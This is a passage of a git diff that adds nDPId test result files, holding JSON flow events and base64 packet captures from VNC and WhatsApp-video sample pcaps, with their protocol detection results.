+00418{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":364590,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xOodxQGGEP7tAkntCABFAAA0fFNAAIAGAADAqAJuX+0w0Br06Y8QfmeF6sUwZYASIABT+gAAAgQFtAEDAwgBAQQC"} +00410{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":402886,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"EP7tAkntxOodxQGGCABFAAAoXs5AAHQGVC5f7TDQwKgCbumPGvTqxTBlEH5nhlAQQTqDEwAAAAAAAAAA"} +00418{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":414487,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xOodxQGGEP7tAkntCABFAAA0fFRAAIAGAADAqAJuX+0w0Br06Y8QfmeG6sUwZVAYAQRT+gAAUkZCIDAwNC4wMDEK"} +00418{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":453192,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EP7tAkntxOodxQGGCABFAAA0XtNAAHQGVB1f7TDQwKgCbumPGvTqxTBlEH5nklAYQTco9wAAUkZCIDAwNC4wMDEK"} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"vnc.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":5,"flow_first_seen":1476111264364,"flow_last_seen":1476111264453,"flow_tot_l4_data_len":148,"flow_min_l4_data_len":20,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"95.237.48.208","dst_ip":"192.168.2.110","src_port":59791,"dst_port":6900,"l4_proto":"tcp","ndpi": {"proto":"VNC","breed":"Acceptable","category":"RemoteAccess"}} +00414{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":453247,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"xOodxQGGEP7tAkntCABFAAAwfFVAAIAGAADAqAJuX+0w0Br06Y8QfmeS6sUwcVAYAQRT9gAABw2FBYEGggI="} +00410{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":490253,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":21,"pkt":"EP7tAkntxOodxQGGCABFAAApXtRAAHQGVCdf7TDQwKgCbumPGvTqxTBxEH5nmlAYQTV17wAADQAAAAAA"} +00402{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":611079,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xOodxQGGEP7tAkntCABFAAAofFhAAIAGAADAqAJuX+0w0Br06Y8Qfmqg6sUznlAQAQFT7gAA"} +00430{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":618128,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"xOodxQGGEP7tAkntCABFAAA7fFpAAIAGAADAqAJuX+0w0Br06Y8QfmrG6sUznlAYAQFUAQAAAAFpMOAjPvIHTr3O0uOY0QI6ug=="} +00412{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":654746,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"EP7tAkntxOodxQGGCABFAAAoXvNAAHQGVAlf7TDQwKgCbumPGvTqxTOeEH5q2VAQQGV9XAAAAAAAAAAA"} +00444{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":655491,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"EP7tAkntxOodxQGGCABFAABFXvRAAHQGU+tf7TDQwKgCbumPGvTqxTOeEH5q2VAYQGUkFQAAAAs1RnW2wGGLvPx+4fS4+br74d2zdjaFmmBEWGU="} +00454{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":655672,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"xOodxQGGEP7tAkntCABFAABKfFtAAIAGAADAqAJuX+0w0Br06Y8QfmrZ6sUzu1AYAQFUEAAAABAV0a98UA\/uYVcOkT6k1VzX1Zss8DNhoL+opZq\/g0qQpg=="} +00452{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":655672,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"EP7tAkntxOodxQGGCABFAABKXvVAAHQGU+Vf7TDQwKgCbumPGvTqxTO7EH5q2VAYQGXxHwAAABD4kWjKRPuBSComGQUeVSOHJpwdvgNCVw3Sf0PlviJsDA=="} +00436{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":655707,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"xOodxQGGEP7tAkntCABFAAA+fFxAAIAGAADAqAJuX+0w0Br06Y8Qfmr76sUz3VAYAQFUBAAAAAQisGUct5Ou6lUgPdb106WnFrY60A=="} +00412{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":692028,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"EP7tAkntxOodxQGGCABFAAAoXvZAAHQGVAZf7TDQwKgCbumPGvTqxTPdEH5rEVAQQFd88wAAAAAAAAAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3544,"source":"vnc.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1476111286462,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"95.237.48.208","dst_ip":"192.168.2.110","src_port":51559,"dst_port":6900,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3544,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":462067,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EP7tAkntxOodxQGGCABFAAA0be5AAHQGRQJf7TDQwKgCbslnGvTjPDftAAAAAIACIAD7xAAAAgQFrAEDAwIBAQQC"} +00421{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3545,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":462174,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xOodxQGGEP7tAkntCABFAAA0AmNAAIAGAADAqAJuX+0w0Br0yWdPW3mt4zw37oASIABT+gAAAgQFtAEDAwgBAQQC"} +00413{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3546,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":499568,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"EP7tAkntxOodxQGGCABFAAAobe9AAHQGRQ1f7TDQwKgCbslnGvTjPDfuT1t5rlAQQTpSNgAAAAAAAAAA"} +00421{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3547,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":510841,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xOodxQGGEP7tAkntCABFAAA0AmRAAIAGAADAqAJuX+0w0Br0yWdPW3mu4zw37lAYAQRT+gAAUkZCIDAwNC4wMDEK"} +00421{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3548,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":549120,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EP7tAkntxOodxQGGCABFAAA0bfFAAHQGRP9f7TDQwKgCbslnGvTjPDfuT1t5ulAYQTf4GQAAUkZCIDAwNC4wMDEK"} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3548,"source":"vnc.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":5,"flow_first_seen":1476111286462,"flow_last_seen":1476111286549,"flow_tot_l4_data_len":148,"flow_min_l4_data_len":20,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"95.237.48.208","dst_ip":"192.168.2.110","src_port":51559,"dst_port":6900,"l4_proto":"tcp","ndpi": {"proto":"VNC","breed":"Acceptable","category":"RemoteAccess"}} +00417{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3549,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":549175,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"xOodxQGGEP7tAkntCABFAAAwAmVAAIAGAADAqAJuX+0w0Br0yWdPW3m64zw3+lAYAQRT9gAABw2FBYEGggI="} +00413{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3550,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":585970,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":21,"pkt":"EP7tAkntxOodxQGGCABFAAApbfZAAHQGRQVf7TDQwKgCbslnGvTjPDf6T1t5wlAYQTVFEgAADQAAAAAA"} +00406{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3551,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":595556,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xOodxQGGEP7tAkntCABFAAAoAmZAAIAGAADAqAJuX+0w0Br0yWdPW3nC4zw5\/1AQAQJT7gAA"} +00414{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3552,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":634486,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"EP7tAkntxOodxQGGCABFAAAobfhAAHQGRQRf7TDQwKgCbslnGvTjPDn\/T1t8yFAQQHNN0gAAAAAAAAAA"} +00406{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3553,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":641223,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xOodxQGGEP7tAkntCABFAAAoAmlAAIAGAADAqAJuX+0w0Br0yWdPW3zI4zw7J1AQAQFT7gAA"} +00434{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3554,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":642931,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"xOodxQGGEP7tAkntCABFAAA7AmtAAIAGAADAqAJuX+0w0Br0yWdPW3zu4zw7J1AYAQFUAQAAAAFQo3qOmyttSCO669FFFjnsxA=="} +00414{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3555,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":679983,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"EP7tAkntxOodxQGGCABFAAAobf1AAHQGRP9f7TDQwKgCbslnGvTjPDsnT1t9AVAQQGVMfwAAAAAAAAAA"} +00446{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3556,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":680165,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"EP7tAkntxOodxQGGCABFAABFbf5AAHQGROFf7TDQwKgCbslnGvTjPDsnT1t9AVAYQGUMdAAAAAtD14zifYG0h7hNY6JEfjTiOFBsN4kA8OBfXio="} +00454{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3557,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":680351,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"xOodxQGGEP7tAkntCABFAABKAmxAAIAGAADAqAJuX+0w0Br0yWdPW30B4zw7RFAYAQFUEAAAABB5egU6EyiUhjcAQTfjXu4EJ6Tyd+fY2j1lCEncfpiMwQ=="} +00454{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3558,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111286,"pkt_ts_usec":680712,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"EP7tAkntxOodxQGGCABFAABKbf9AAHQGRNtf7TDQwKgCbslnGvTjPDtET1t9AVAYQGWCBgAAABAyRkBH2n2M0M1lbRupL3R3bhQSGUiIXpMn5oN9qHkc9w=="} diff --git a/test/results/wa_video.pcap.out b/test/results/wa_video.pcap.out new file mode 100644 index 000000000..81bff8d0b --- /dev/null +++ b/test/results/wa_video.pcap.out @@ -0,0 +1,122 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1561455764448,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455764,"pkt_ts_usec":448302,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABI0kIAAEARIhLAqAIBwKgC\/+EV4RUANEtUU3BvdFVkcDC64ScQKi2g\/wABAARIlcIDyUSzc\/3fJAksKuG26pMF0apN5Ek="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1561455764448,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1561455767339,"flow_last_seen":0,"flow_tot_l4_data_len":580,"flow_min_l4_data_len":580,"flow_max_l4_data_len":580,"flow_avg_l4_data_len":580,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.20.53","src_port":49355,"dst_port":5222,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01171{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455767,"pkt_ts_usec":339689,"pkt_caplen":614,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":614,"pkt_l4_len":580,"pkt":"xiwDYGpkkLkxKPrKCABFAAJYAABAAEAGw8bAqAIMnfAUNcDLFGab0R+KLuhMzoAYCAC1GwAAAQEICjTPJUoefmf9AAIh+FvbCnh\/a7IflRY0dljac\/EUrviXyMSuBINQo97GbKMEImMXigVRfinz4XcgTWeXa9giOjhsqf3NxGX9biqY1yfPHcFHJiCc0ZCHvaCNvgkJPVj4efQEO9oXblNeeRaKGRLTNPthw+X05ffa2MEEZsCc5sOdGdAvm7FUBTmDLJxrbHLFDC+Qz785Kp4Y\/nNC9dvuMTiwRIaMjyeDYd66NcNSVYXm4FIuAYawjSGgb9SDZkFGOfhJtHvzWqgQNk\/CQvD5MdFqw4Ro6oaWM5dtaU5byhQ5BGyiSFfIOfXO6utXNWA73iF5EEI1sUrW9Z96Yp1YyVWH1nWO8RF0xmRHhUXi8Z\/sZFez1+bI7zqAvAPYQUokFVSdoHMsl0C7omqMhJPL\/hGc9NtDl21eaiXOM52GOzZWxZMbXJmB\/9+NsouXUZBUgsh9jMSFGZLM23GdBqdyDiy78nD8F4EJr2A\/aUaJIwQnw3GNyvDzKtsy8d2KrzMKlf6d7qvFNf6tCn5YbJzbYCtXcK3bzzVNLm8QIxxktFuE4kwqNUk0pOIUno0bVHsn8uJRI7p6utCiNLoFNA283\/oV8xNqLi4LT4fQ\/\/415n+lAj9aAo0RTNMlYFu4h64\/Lu0dkox1O3c7ouf5f6puZ8pmi+uDZVI\/IU8sc3s7dCFETLgaxg8hmXkWbIHTksRKvfJv3iIyf9m9mqHEEfDnGMuE7VsJzvR+Imk61iI="} +00423{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455767,"pkt_ts_usec":391415,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kLkxKPrKxiwDYGpkCABFAAA0cX4AAFMGgWyd8BQ1wKgCDBRmwMsu6EzOm9EhroAQALQFAQAAAQEICh5+dS80zyVK"} +02318{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455767,"pkt_ts_usec":568245,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"kLkxKPrKxiwDYGpkCABFAAWgcX8AAFMGe\/+d8BQ1wKgCDBRmwMsu6EzOm9EhroAQALSeYwAAAQEICh5+deo0zyVKAAeY92kokkA7hrw6j6Vhkd+oEkvjt9+mUaq3VF5ALR\/3dyTIUqE+ce9A8zw57IwXMUm48Ve04aN2q3aoE1gIxi914RnbSua9WCw4BiKEAwBPqN8fZa53YGzu6KGDd+y61i8hb8APzgCq0BgVHxbqR0bN2PsZSNYDa\/cxDiPbHbN81oUvSJ1gG1HfKBlexobCedzu2sUfK2Qs2a4k4D1FAWNImtONV8L8QIDh9roN6NGgmn\/lqF1FSp0J1KRgd0jLjFjyO8E83j6fNPMnzyDyrqqDONC2kuu2acMixjEUltdGs477N1jzC9n+ER\/b\/S6TQcGEY9qe321iyRfAWuN0DLg7mjzkOAiLNEYzLk5mIXEf0ZRFKJwDAvOVHtFaYq9PK\/+TyWbUbh9dyV6FAMdUFiad1IPXICQYrOxMJpvYW44GNTJj7JJd\/vptPppVq\/RnqviVF+HvVQYCfsL\/SVoCMkJWYQL1ncdQ0eep1cbBr6nAtINm6y3vpk9iSvMUPjyihT4LCr1goaODAyLUwBnoKlcyQnCzrUTIAqAAM29AsZFrK3bZYGCyGW\/1MqA4MzwyfwMD1bF+saAkWfKpa6RSRkk3KGr6n6v79y+8bFqwHEmh79h64wuCdareEkcN59XiCjPB2jxFRkpLZWY0mc91mPUnIxaHkuQIMuo4JPBhS7O2C4sRkwc2EdliToDywQdgKCedjvE+Fkv+IJ1yiEuAY7OC0Yop8Phr2Qm2qT+26YDaaSkP6CBAA8F\/0qtcGuDnlIq3ve6KW\/D6MuF4EOQk1b\/mWeGOhmO2zaJtvFI8PxQT5VxpwG5mTmAHNrmnqHuX0IWL3zCefnedyGujv7ty3zJnVuQwRLy87IaxzKXwsdyDG3gOFStZBZK2qgn8IW\/xr0PRTCCbF58t6+kmge68BzSwUxMSja0zleeuWy9nliB9zaa4b+jN\/22Q56CpjAU0jeotHbt7rfwSgaDBMBcRXkBKkMuSRjHPsILIfuplVXUe9hbVn7Go2YVn3YMI8\/AExe4f\/h8AveIFQCrjpuBYwwenY\/QBLof\/waMaXnDMoOqv3UDo5f\/rUkCJZYja2kE\/3ozUaT8Uz0PCmt\/gc\/KCFNUf0Dg1W5QGc7mNzo6HmKq3sVYeKZxgXc+0B\/+Kg+WdAj0nr4z70bgW5GCi4QLhKZrELaubvCFff0BZt4Ss2ARFEyAH9IKD4jhRLgOIMULFRSu5xrKXDGooBaqIU\/671otysjRrQ81PzcJeLF2eHbj0voj\/+FWKEGjREDnwIqXWvMaPKFe8PlPupWBMwOzFz8pMa1\/Cfixow4NV+SRN1L2CcfmYjYCb8vwd81S0Sbh\/yjs0qpd5YLoB8pMYh\/yUoZ+FIXdWz+sa2pEUMxHkvUFc+7SzHNfV7LJOOBb6vDyxWLEcl4dY0FU+ynkwQS3op34TZEH4GA2VEfQdOgNR2iu4EKt2LFEXckrFDQqafGZhK5SjyixnKMbzvINk8a1d4ltQPewgraMY4ASPPuLS07U5UPA1qlh8E94Xhh8y1zAB0VWBPRDFRutgl1y4BL0Lad98ZYlvDZMJKhfwsfD1K84zCNVytc0lpEdS4WwTmG5jVDNkEok\/lFTqI9CJ\/ndHCOSY1DeCIemKT8q2EgY6ncZJwmIWq3s+IAWyQwqNpA+uXGEPONBjE53SU6ADJ7J2GkLvQbStohFZjKPShMILgTsEvkwNRe5icjnZF5b4X\/JteDZslY73Nte1q4DiPugbpWEOEW3UaXBVcccSnBXfsrY1lsgjH8BpxoTBACfj\/Nm3cIxvIq14OKHRvxy9b0mNen\/kzoDrO5sZ\/dAjHBdNu5W\/9k529dGB7vwkors="} +00570{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455767,"pkt_ts_usec":568247,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"kLkxKPrKxiwDYGpkCABFAACbcYAAAFMGgQOd8BQ1wKgCDBRmwMsu6FI6m9EhroAYALRFAgAAAQEICh5+deo0zyVKPusMeaD3lCmYGQs0mbv2onbTpmXzgK3ehPiaf\/jI1Ot8QVh3JhLBjeOPFQVrZL1eyZEh\/tmq8R\/YD3vf88ik5c9MV\/DPl8MvNMo0YiPUJmBufpG2yOesaCXKVO86h91FqigrzMFgzA=="} +01044{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455767,"pkt_ts_usec":568247,"pkt_caplen":522,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":522,"pkt_l4_len":488,"pkt":"kLkxKPrKxiwDYGpkCABFAAH8cYEAAFMGf6Gd8BQ1wKgCDBRmwMsu6FKhm9EhroAYALRm5AAAAQEICh5+deo0zyVKLSQRVEKsxJjcWg\/H\/lMobRMW7X9RKF\/hZslxhUvme\/4heGQVcnrwt\/Fm5F2U+oLk+gFf2tebzVJU2bS4GWtpyfd7t0eGRRsksu\/IwWXxVQVfXmQWdqBagMROU0+Iv7cKU9E8j8khrgiQj04I4dJ4yob8xXCok1OIYUG8NdpqehsPn5Rq59THddLOmCgUSKZz\/u1aE7VKWVIXUVp7k19fdFvu2yb39GEDWSdBf4J9Oqs32QeZC52b5oVKE0ithMi9GHf6l\/ui7QsmMqIoJ3dCOeAzESPIDse\/Uw0Z19U+hGKwuaFZZxgdpjsRxn00Hd+xbUGY0TDE8Z\/s2TerF+yrQYARAtLEhyCWaiulNjDn+9f5mpFDmqUMLqsqClVwjcqNgfvRUqMf1Kng1nEjbYVdz0eYwkqEjFo20rkpLUKiaSh7EGttgz7HvZkjaMo8Q4Blqb1fKhQbir5L3ofhHA7goOKU5PHOFmaXZoL5abuQvfLea45eBI4EWKOxGMZDoeA8fGnY5ydOnOswhZUwV